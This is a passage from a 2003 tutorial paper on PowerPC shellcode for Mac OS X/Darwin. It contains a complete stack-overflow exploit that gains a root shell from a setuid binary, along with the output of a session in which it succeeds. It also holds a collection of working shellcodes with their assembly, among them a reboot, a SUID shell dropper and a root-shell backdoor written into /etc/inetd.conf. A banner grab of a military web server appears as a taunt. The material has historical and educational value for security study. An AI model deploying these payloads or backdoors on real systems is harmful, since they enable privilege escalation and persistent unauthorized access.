#include <stdio.h>

#define VULNBUFF        256+24
#define SHELLCODE       100
#define NOPS            VULNBUFF-SHELLCODE
#define OFFSET          216

int sp (void);
```

```
char ppcshellcode[] = // 100bytes
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x7f\xe8\x02\xa6\x39\x1f\x01\x67"
"\x39\x08\xfe\xf4\x7c\x68\x19\xae"
"\x39\x40\x01\x23\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x7c\xa5\x2a\x79\x38\x7f\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8"
"\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4"
"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4"
"\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";


int main (int argc, char *argv[])
{

// Variables
long int ret, retused;
unsigned char retaddy[4];
char evilbuff[400];
char nops[NOPS];

memset (evilbuff, '\0', sizeof(evilbuff));
memset (nops, 0x60, NOPS);

// Set UP Memory Address To Jump To
ret = sp();
retused = ret + OFFSET;
retaddy[0] = (int)((retused & 0xff000000) >> 24);
retaddy[1] = (int)((retused & 0x00ff0000) >> 16);
retaddy[2] = (int)((retused & 0x0000ff00) >> 8);
retaddy[3] = (int) (retused & 0x000000ff);
retaddy[4] = '\0';

// Construct Payload
strcpy (evilbuff, nops); //nops
strcat (evilbuff, ppcshellcode); //shellcode
strcat (evilbuff, retaddy);

// Print Program Information
printf ("\n\n");
printf ("\nStack Address: 0x%x", ret);
printf ("\nOffset Used: 0x%x", OFFSET);
printf ("\nRET Address: 0x%x (%x %x %x %x)",
retused, retaddy[0], retaddy[1], retaddy[2], retaddy[3]);
printf ("\nPayload: %d bytes", strlen(evilbuff));
printf ("\nCalling ./vulnerable2 ....");

// Call Vulnerable_program With Payload .
execl ("./vulnerable2", "vulnerable2", evilbuff, NULL);
}

int sp (void) {
                __asm__("mr     r0, r1");
                }
```

The same method (as discussed previously) of using '*ABCD'* for the initial return address value was used in conjunction with *GDB* to find the shellcode within the stack memory at overflow time. With the *OFFSET* value set accordingly, the exploit functions as shown below. It should also be noted that it would be easy to brute-force the *OFFSET* value if debugging tools such as *GDB* were not available on the target machine.

```
[br00t@maki:~/ppcasm] $ ls -l vulnerable2
-rwsr-xr-x    1 root     staff       11604 Aug 29 18:29 vulnerable2*

[br00t@maki:~/ppcasm] $ id
uid=501(br00t) gid=20(staff) groups=20(staff), 80(admin)

[br00t@maki:~/ppcasm] $ gcc -o exploit2 exploit2.c
[br00t@maki:~/ppcasm] $ ./exploit2


Stack Address: 0xbffffa80
Offset Used: 0xd8
RET Address: 0xbffffb58 (bf ff fb 58)
Payload: 284 bytes

`````````````````````````````````````````````````````````````````````
~~~
``````````````````````````````````````````|cy@?????9g??|h?9@#8
8??D??/bin/shX???X???a??????8???;?G8??D??|?+x;?
sh-2.05a# id
uid=0(root) gid=20(staff) groups=20(staff), 80(admin)
sh-2.05a#
```

Again, as shown by the *id* command, a UID0 (root) access interactive shell *'/bin/sh'* has been executed giving the attacker full control of the target machine.

Using the techniques discussed, it would be trivial for an attacker to design further shellcodes to perform other functions such as copying files, opening sockets, adding users to the vulnerable target machine.
~~~

Finishing up

With the majority of exploit code being released for the IA32 architecture, it is important to realise that the same vulnerable software is regularly being installed on the PowerPC platform. With *Darwin* being based on *FreeBSD* a lot of third party applications will compile easily on the PowerPC architecture. Projects like *Opendarwin* and *Fink,* which port existing *Unix* applications to the *OSX / Darwin* Operating System, could render a machine open to compromise if an attacker can write the specific shellcodes required to exploit a vulnerable application.

The techniques discussed in this paper should also be considered valid when designing exploitation techniques for Operating Systems other than *OSX* and *Darwin*. For example, *OpenBSD*, *NetBSD Linux* and *AIX* all run on the PowerPC architecture, albeit using different system call conventions.

In addition, familiarity with the PowerPC architecture and its instruction set makes learning other architectures a lot easier. A good example is the *SPARC* architecture, which also uses a *RISC* instruction set and is also 'big endian' in its byte ordering.

The final section of this paper provides several example shellcodes written by the author. They serve to inspire others into writing similar code and to encourage the writers of exploit code to include Operating Systems that run on the PowerPC platform in their research.

For those people still lacking the enthusiasm to learn about designing shellcodes on the PowerPC architecture, in the belief that the PowerPC architecture or *OSX / Darwin* Operating Systems are never used within important infrastructures…

```
[br00t@maki:~/ppcasm] $ telnet www.army.mil 80
Trying 140.183.234.10...
Connected to www.army.mil.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 29 Aug 2003 22:02:43 GMT
Server: 4D_WebSTAR_S/5.3.0 (MacOS X)
```

Shellcode Examples

```
/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does write(); exit();
See ASM below.
87 Bytes.
*/

char write_shellcode[] =
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x7f\xe8\x02\xa6\x39\x40\x01\x0d"
"\x38\x6a\xfe\xf4\x38\x9f\x01\x44"
"\x38\x84\xfe\xf4\x39\x40\x01\x23"
"\x38\xaa\xfe\xf4\x39\x40\x01\x10"
"\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x39\x40\x01\x0d"
"\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x0a\x42\x2d\x72\x30\x30\x74\x20"
"\x52\x30\x78\x20\x59\x33\x52\x20"
"\x57\x30\x72\x31\x64\x21\x0a";

int main (void)
{
        __asm__("b _write_shellcode");
}


/*
; PPC OS X / Darwin ASM by B-r00t. 2003.
; write() exit().
; Simply writes 'B-r00t R0x Y3R W0r1d!'
;
.globl _main
.text
_main:
      xor.         r3, r3, r3
      bnel         _main
      mflr         r31
      li           r10, 268+1
      addi         r3, r10, -268
      addi         r4, r31, 268+56
      addi         r4, r4, -268
      li           r10, 268+23
      addi         r5, r10, -268
      li           r10, 268+4
      addi         r0, r10, -268
      .long        0x44ffff02
      .long        0x60606060
      li           r10, 268+1
      addi         r0, r10, -268
      .long        0x44ffff02
string: .asciz "\nB-r00t R0x Y3R W0r1d!\n"
*/
```

```
/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does sync() reboot();
See ASM below.
32 Bytes.
*/

char reboot_shellcode[] =
"\x7c\x63\x1a\x79\x39\x40\x01\x30"
"\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x39\x40\x01\x43"
"\x38\x0a\xfe\xf4\x44\xff\xff\x02";



int main (void)
{
        __asm__(" b _reboot_shellcode");
}



/*
; PPC OS X / Darwin ASM by B-r00t. 2003.
; sync() reboot().
; Simply reboots the machine! - Just 4 Fun!
;
.globl _main
.text
_main:
      xor.        r3, r3, r3
      li          r10, 268+36
      addi        r0, r10, -268
      .long       0x44ffff02
      .long       0x60606060
      li          r10, 268+55
      addi        r0, r10, -268
      .long       0x44ffff02

*/
```

```
/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does execve(/bin/sh); exit(0);
See ASM below.
80 Bytes.
*/

char execve_shellcode[] =
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
"\x7f\xe8\x02\xa6\x39\x1f\x01\x53"
"\x39\x08\xfe\xf4\x7c\xa8\x29\xae"
"\x38\x7f\x01\x4c\x38\x63\xfe\xf4"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x3b\xc0\x01\x47"
"\x38\x1e\xfe\xf4\x44\xff\xff\x02"
"\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d"
"\x38\x1e\xfe\xf4\x44\xff\xff\x02"
"\x2f\x62\x69\x6e\x2f\x73\x68\x58";

int main (void)
{
        __asm__("b _execve_shellcode");
}


/*
; PPC OS X / Darwin ASM by B-r00t. 2003.
; execve(/bin/sh) exit(0)
;
.globl _main
.text
_main:
      xor.        r5, r5, r5
      bnel        _main
      mflr        r31
      addi        r8, r31, 268+64+7
      addi        r8, r8, -268
      stbx        r5, r8, r5
      addi        r3, r31, 268+64
      addi        r3, r3, -268
      stw         r3, -8(r1)
      stw         r5, -4(r1)
      subi        r4, r1, 8
      li          r30, 268+59
      addi        r0, r30, -268
      .long       0x44ffff02
      mr          r3, r5
      li          r30, 268+1
      addi        r0, r30, -268
      .long       0x44ffff02
path:   .asciz    "/bin/shX"
*/
```

```
/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does setuid(0); execve(/bin/sh); exit(0);
See ASM below.
100 Bytes.
*/

char setuid_execve[]=
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x7f\xe8\x02\xa6\x39\x1f\x01\x67"
"\x39\x08\xfe\xf4\x7c\x68\x19\xae"
"\x39\x40\x01\x23\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x7c\xa5\x2a\x79\x38\x7f\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8"
"\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4"
"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4"
"\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";

int main (void)
{
        __asm__("b _setuid_execve");
}

/*
; PPC OS X / Darwin ASM by B-r00t. 2003.
; setuid(0) execve(/bin/sh) exit(0)
;
.globl _main
.text
_main:
      xor.        r3, r3, r3
      bnel        _main
      mflr        r31
      addi        r8, r31, 268+84+7
      addi        r8, r8, -268
      stbx        r3, r8, r3
      li          r10, 268+23
      addi        r0, r10, -268
      .long       0x44ffff02
      .long       0x60606060
      xor.        r5, r5, r5
      addi        r3, r31, 268+84
      addi        r3, r3, -268
      stw         r3, -8(r1)
      stw         r5, -4(r1)
      subi        r4, r1, 8
      li          r30, 268+59
      addi        r0, r30, -268
      .long       0x44ffff02
      mr          r3, r5
      li          r30, 268+1
      addi        r0, r30, -268
      .long       0x44ffff02
path:   .asciz     "/bin/shX"
*/
```

```
/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does open(); write(); close(); exit();
See ASM below.
138 Bytes.
*/


char tmpsh_shellcode[] =
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
"\x7f\xe8\x02\xa6\x39\x1f\x01\x81"
"\x39\x08\xfe\xf4\x7c\xa8\x29\xae"
"\x38\x7f\x01\x78\x38\x63\xfe\xf4"
"\x38\x80\x02\x01\x38\xa0\xff\xff"
"\x39\x40\x01\x11\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x38\x9f\x01\x82\x38\x84\xfe\xf4"
"\x38\xa0\x01\x18\x38\xa5\xfe\xf4"
"\x39\x40\x01\x10\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x39\x40\x01\x12\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60"
"\x39\x40\x01\x0d\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x2f\x74\x6d\x70"
"\x2f\x73\x75\x69\x64\x58\x23\x21"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
"\x73\x68";

int main (void)
{
        __asm__(" b _tmpsh_shellcode");
}



// Assembly code below...
```

```
/*
; PPC OS X / Darwin ASM by B-r00t. 2003.
; open(); write(); close(); exit()
; Creates SUID '/tmp/suid' to execute /bin/sh.
;

.globl _main
.text
_main:
      xor.        r5, r5, r5
      bnel        _main
      mflr        r31
      addi        r8, r31, 268+108+9
      addi        r8, r8, -268
      stbx        r5, r8, r5
      addi        r3, r31, 268+108
      addi        r3, r3, -268
      li          r4, 513
      li          r5, -1
      li          r10, 268+5
      addi        r0, r10, -268
      .long       0x44ffff02
      .long       0x60606060
      addi        r4, r31, 268+108+10
      addi        r4, r4, -268
      li          r5, 268+12
      addi        r5, r5, -268
      li          r10, 268+4
      addi        r0, r10, -268
      .long       0x44ffff02
      .long       0x60606060
      li          r10, 268+6
      addi        r0, r10, -268
      .long       0x44ffff02
      .long       0x60606060
      li          r10, 268+1
      addi        r0, r10, -268
      .long       0x44ffff02
path:   .asciz    "/tmp/suidX#!/bin/sh\nsh"

*/
```

```
/*
PPC OS X / Darwin Shellcode by B-r00t. 2003.
open(); write(); close(); execve(); exit();
See ASM below.
262 Bytes!!!
*/


char inetd_backdoor_shellcode[] =
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x1f\x01\xbf"
"\x39\x08\xfe\xf4\x7c\xa8\x29\xae" "\x39\x1f\x02\x09\x39\x08\xfe\xf4"
"\x7c\xa8\x29\xae\x38\x7f\x01\xb0" "\x38\x63\xfe\xf4\x38\x80\x01\x15"
"\x38\x84\xfe\xf4\x38\xa0\xff\xff" "\x39\x40\x01\x11\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60" "\x38\x9f\x01\xc0\x38\x84\xfe\xf4"
"\x38\xa0\x01\x46\x38\xa5\xfe\xf4" "\x39\x40\x01\x10\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60" "\x39\x40\x01\x12\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x60\x60\x60\x60" "\x7c\xa5\x2a\x79\x38\x7f\x01\xfa"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8" "\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4" "\x44\xff\xff\x02\x60\x60\x60\x60"
"\x39\x40\x01\x0d\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x2f\x65\x74\x63"
"\x2f\x69\x6e\x65\x74\x64\x2e\x63" "\x6f\x6e\x66\x58\x0a\x61\x63\x6d"
"\x73\x6f\x64\x61\x20\x73\x74\x72" "\x65\x61\x6d\x20\x74\x63\x70\x20"
"\x6e\x6f\x77\x61\x69\x74\x20\x72" "\x6f\x6f\x74\x20\x2f\x75\x73\x72"
"\x2f\x6c\x69\x62\x65\x78\x65\x63" "\x2f\x74\x63\x70\x64\x20\x2f\x62"
"\x69\x6e\x2f\x73\x68\x0a\x2f\x75" "\x73\x72\x2f\x73\x62\x69\x6e\x2f"
"\x69\x6e\x65\x74\x64\x58";

int main (void)
{
        __asm__("b _inetd_backdoor_shellcode");
}


// Assembly code below...
```

```
/*
; PPC OS X / Darwin ASM by B-r00t. 2003.
; open(); write(); close(); execve(); exit()
; Appends a backdoor (port 6969 rootshell) line into
; '/etc/inetd.conf' and executes inetd.
; Commands should end with ';' ie. uname -a;
;
.globl _main
.text
_main:
      xor.         r5, r5, r5
      bnel         _main
      mflr         r31
      addi         r8, r31, 268+164+15
      addi         r8, r8, -268
      stbx         r5, r8, r5
      addi         r8, r31, 268+164+89
      addi         r8, r8, -268
      stbx         r5, r8, r5
      addi         r3, r31, 268+164
      addi         r3, r3, -268
      li           r4, 268+9
      addi         r4, r4, -268
      li           r5, -1
      li           r10, 268+5
      addi         r0, r10, -268
      .long        0x44ffff02
      .long        0x60606060
      addi         r4, r31, 268+164+16
      addi         r4, r4, -268
      li           r5, 268+58
      addi         r5, r5, -268
      li           r10, 268+4
      addi         r0, r10, -268
      .long        0x44ffff02
      .long        0x60606060
      li           r10, 268+6
      addi         r0, r10, -268
      .long        0x44ffff02
      .long        0x60606060
      xor.         r5, r5, r5
      addi         r3, r31, 268+164+74
      addi         r3, r3, -268
      stw          r3, -8(r1)
      stw          r5, -4(r1)
      subi         r4, r1, 8
      li           r30, 268+59
      addi         r0, r30, -268
      .long        0x44ffff02
      .long        0x60606060
      li           r10, 268+1
      addi         r0, r10, -268
      .long        0x44ffff02
path:   .asciz     "/etc/inetd.confX\nacmsoda stream tcp nowait root
/usr/libexec/tcpd /bin/sh\n/usr/sbin/inetdX"

*/
```

Reference Material

- *PPC shellcode - Palante*
- *PowerPC Shellcode – Ghandi*
- *PowerPC Stack Attacks - Christopher A Shepherd*
- *M68k Buffer Overflows - Lamagra*
- *Mac OS X Assembler Guide - Apple*
- *Programming Environments for 32-Bit Implementations of the PowerPC – Motorola*
- *PowerPC Microprocessor Family: The Programmer's Reference Guide - Motorola*
- *UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes – LSD Research Group*

~~~~~~~~~~~~~~~~~~~~~~
B-r00t aka B#.
Email: <br00t@blueyonder.co.uk>
Webpage: Http://doris.scriptkiddie.net
IRC: doris.scriptkiddie.net #cheese
"If You Can't B-r00t Just B#."
~~~~~~~~~~~~~~~~~~~~~~